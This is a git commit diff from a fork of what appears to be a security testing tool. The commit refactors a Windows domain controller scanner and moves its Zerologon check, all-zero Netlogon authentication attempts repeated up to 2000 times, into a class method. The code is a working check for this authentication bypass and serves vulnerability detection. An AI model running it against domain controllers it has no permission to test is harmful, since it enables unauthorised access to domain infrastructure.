forked from p15670423/monkey
Extract nested function
This commit is contained in:
parent
8b0dd91c18
commit
62a1520c50
|
@ -20,62 +20,11 @@ class WindowsServerFinger(HostFinger):
|
||||||
MAX_ATTEMPTS = 2000
|
MAX_ATTEMPTS = 2000
|
||||||
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
||||||
|
|
||||||
def get_dc_name(self, DC_IP):
|
|
||||||
"""
|
|
||||||
Gets NetBIOS name of the Domain Controller (DC).
|
|
||||||
"""
|
|
||||||
name = ''
|
|
||||||
try:
|
|
||||||
nb = nmb.NetBIOS.NetBIOS()
|
|
||||||
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
|
||||||
return name[0] if name else None
|
|
||||||
except BaseException as ex:
|
|
||||||
LOG.info(f'Exception: {ex}')
|
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
"""
|
"""
|
||||||
Checks if the Windows Server is vulnerable to Zerologon.
|
Checks if the Windows Server is vulnerable to Zerologon.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME):
|
|
||||||
# Connect to the DC's Netlogon service.
|
|
||||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
|
||||||
protocol='ncacn_ip_tcp')
|
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
|
||||||
rpc_con.connect()
|
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
|
||||||
|
|
||||||
# Use an all-zero challenge and credential.
|
|
||||||
plaintext = b'\x00' * 8
|
|
||||||
ciphertext = b'\x00' * 8
|
|
||||||
|
|
||||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
|
||||||
flags = 0x212fffff
|
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
|
||||||
nrpc.hNetrServerReqChallenge(
|
|
||||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
|
||||||
|
|
||||||
try:
|
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
|
||||||
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
|
||||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
|
||||||
DC_NAME + '\x00', ciphertext, flags
|
|
||||||
)
|
|
||||||
|
|
||||||
# It worked!
|
|
||||||
assert server_auth['ErrorCode'] == 0
|
|
||||||
return rpc_con
|
|
||||||
|
|
||||||
except nrpc.DCERPCSessionError as ex:
|
|
||||||
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
|
|
||||||
|
|
||||||
except BaseException as ex:
|
|
||||||
raise Exception(f'Unexpected error: {ex}.')
|
|
||||||
|
|
||||||
DC_IP = host.ip_addr
|
DC_IP = host.ip_addr
|
||||||
DC_NAME = self.get_dc_name(DC_IP)
|
DC_NAME = self.get_dc_name(DC_IP)
|
||||||
DC_HANDLE = '\\\\' + DC_NAME
|
DC_HANDLE = '\\\\' + DC_NAME
|
||||||
|
@ -88,7 +37,7 @@ class WindowsServerFinger(HostFinger):
|
||||||
rpc_con = None
|
rpc_con = None
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
try:
|
try:
|
||||||
rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
||||||
if rpc_con is not None:
|
if rpc_con is not None:
|
||||||
break
|
break
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
|
@ -109,3 +58,54 @@ class WindowsServerFinger(HostFinger):
|
||||||
else:
|
else:
|
||||||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def get_dc_name(self, DC_IP):
|
||||||
|
"""
|
||||||
|
Gets NetBIOS name of the Domain Controller (DC).
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
nb = nmb.NetBIOS.NetBIOS()
|
||||||
|
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
||||||
|
return name[0] if name else None
|
||||||
|
except BaseException as ex:
|
||||||
|
LOG.info(f'Exception: {ex}')
|
||||||
|
|
||||||
|
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||||
|
# Connect to the DC's Netlogon service.
|
||||||
|
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||||
|
protocol='ncacn_ip_tcp')
|
||||||
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
rpc_con.connect()
|
||||||
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
|
|
||||||
|
# Use an all-zero challenge and credential.
|
||||||
|
plaintext = b'\x00' * 8
|
||||||
|
ciphertext = b'\x00' * 8
|
||||||
|
|
||||||
|
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||||
|
flags = 0x212fffff
|
||||||
|
|
||||||
|
# Send challenge and authentication request.
|
||||||
|
nrpc.hNetrServerReqChallenge(
|
||||||
|
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
||||||
|
|
||||||
|
try:
|
||||||
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
|
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
||||||
|
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
|
DC_NAME + '\x00', ciphertext, flags
|
||||||
|
)
|
||||||
|
|
||||||
|
# It worked!
|
||||||
|
assert server_auth['ErrorCode'] == 0
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
except nrpc.DCERPCSessionError as ex:
|
||||||
|
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
|
||||||
|
|
||||||
|
except BaseException as ex:
|
||||||
|
raise Exception(f'Unexpected error: {ex}.')
|
||||||
|
|
Loading…
Reference in New Issue